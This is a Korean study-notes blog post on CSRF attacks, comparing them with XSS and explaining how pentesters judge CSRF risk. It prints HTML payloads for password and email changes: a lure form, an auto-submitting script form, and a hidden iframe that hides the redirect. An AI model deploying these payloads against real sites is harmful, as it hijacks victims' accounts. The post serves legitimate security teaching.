CSRF (Cross Site Request Forgery)
피해자가 서버로 임의의 요청을 하게 만드는 것
XSS vs CSRF
XSS : 클라이언트 측 스크립트를 삽입하는 공격
CSRF : 피해자가 서버로 공격자의 의도가 담긴 요청을 하게 만드는 공격
보통 서치를 해보면 xss는 클라이언트 측 공격이고 csrf는 서버 측 공격이라고 설명하는 경우가 많은데 엄밀히 말하면 아님. 하지만 간혹 면접관분들이 이런 식으로 이해하고 있는 경우가 있으니 이렇게 얘기해도 되긴 함.
CSRF가 XSS를 만나면 파급력이 커짐
CSRF를 설명할 때 XSS 형태로 보여주는 경우가 많은데, 이는 csrf가 xss를 만나면 파급력이 훨씬 커지기 때문임.
하지만 xss 형태 말고도 피해자에게 정보를 바꾸는 url (GET 방식)을 보내 클릭을 유도하는 등 다른 방식들이 존재함. 즉, csrf와 xss는 별개적으로 일어날 수 있는 공격인 것.
CSRF 취약점 확인
CSRF는 요청을 위조하게 만드는 공격이므로 모든 요청에서 일어날 수 있음. 다만 모든 요청을 보내는 곳을 취약점으로 취급하는 것은 아니고 주로 공격자가 요청을 임의로 만들 수 있고, 컨설턴트가 이것이 위험도가 크다고 판단하면 csrf 취약점이 되는 것임.
예를 들어 비밀번호를 바꾸는 URL이 https://어떤사이트.com/비밀번호변경페이지?newpw=1234&pw_conf=1234 의 형태로 파라미터에 새로 설정한 비밀번호(newpw)와 비밀번호 확인(pw_conf)만 있다면 공격자가 충분히 위조가 가능함
그러나 https://어떤사이트.com/비밀번호변경페이지?newpw=1234&pw_conf=1234&old_pw=asdfasdf 의 형태로 파라미터에 현재 비밀번호(old_pw)가 있다면 공격자는 피해자의 기존 비밀번호를 알 수 없으니 요청을 조작하기가 힘들 것이다. 이런 경우에는 취약점이 있다고 판단하지 않는다.
요청을 확인하고 요청에 인증 정보가 없다면 csrf 취약점이 될 확률이 매우 높아지는 것이다.
POST 방식으로 CSRF 공격하기
POST 방식은 form 태그를 사용해야하므로 결국 xss 취약점이 필요함.
대표적인 예시로 xss 취약점이 존재하는 곳에
<h1>아래를 클릭해주세요</h1><br>
<form method="POST" action="요청 보낼 URL">
<input type="hidden" name="pw" value="공격자가 원하는 값">
<input type="submit" value="Click Me">
</form>
이런 식으로 비밀번호를 변경하는 폼태그를 작성해서 클릭을 유도하는 방법이 있다.
하지만 보안 인식이 향상된 요즘같은 시대에 클릭하라고 해서 클릭하겠나
전송을 자동화 시켜보자
<h1>아무 내용이나 입력</h1>
<form method="POST" action="요청 보낼 URL" id="myForm">
<input type="hidden" name="pw" value="공격자가 원하는 값">
</form>
<script>
document.getElementById('myForm').submit();
</script>
이렇게 작성하면 될 것이다. 하지만 이런 경우에는 비밀번호 변경 페이지로 리다이렉트되는 경우가 있다.
게시글을 클릭했는데 다른 페이지로 리다이렉트 된다면 사용자는 또 의심을 할 것이다.
그렇다면 요청을 처리하는 페이지를 iframe으로 가져와서 리다이렉트되는 것을 막아보자
<h1>아무 내용이나 입력</h1><br>
<iframe style="display:none;" name="changemail"></iframe>
<form method="POST" action="요청 보낼 URL" id="myForm" target="changemail">
<input type="hidden" name="email" value ="공격자가 원하는 값">
</form>
<script>
document.getElementById('myForm').submit();
</script>
iframe이 게시글에서는 안보이게 display:none;으로 설정하고, form 태그 요청이 갈 곳을 설정하기 위해 name 값을 준다. 그리고 form 태그에 target 속성에 해당 name 값을 주면 iframe으로 가져온 페이지로 요청이 날아간다.
그 외에도
<img src="요청 보내는 URL"> 이나
위 방식에서 <iframe>에 sandbox 속성을 추가해서 자바스크립트가 실행되지 않게 할 수 있다.
'웹 모의해킹 스터디 > 수업 정리' 카테고리의 다른 글
11주차 수업 정리 - 2 (JavaScript DOM, 정보 탈취) (0) | 2024.01.11 |
---|---|
11주차 수업 정리 - 1 (XSS 공격 시나리오, XSS 대응 방안, 필터링은 대응방안이 아니다) (2) | 2024.01.11 |
모의해킹의 꽃 Burp Suite (버프슈트)와 proxy에 대해 알아보자 (2) | 2023.11.19 |
쿠키 vs 세션 vs 토큰(JWT) | 서버가 로그인 상태를 유지하는 방법 (2) | 2023.11.14 |
로그인은 식별과 인증으로 나뉜다 (0) | 2023.11.10 |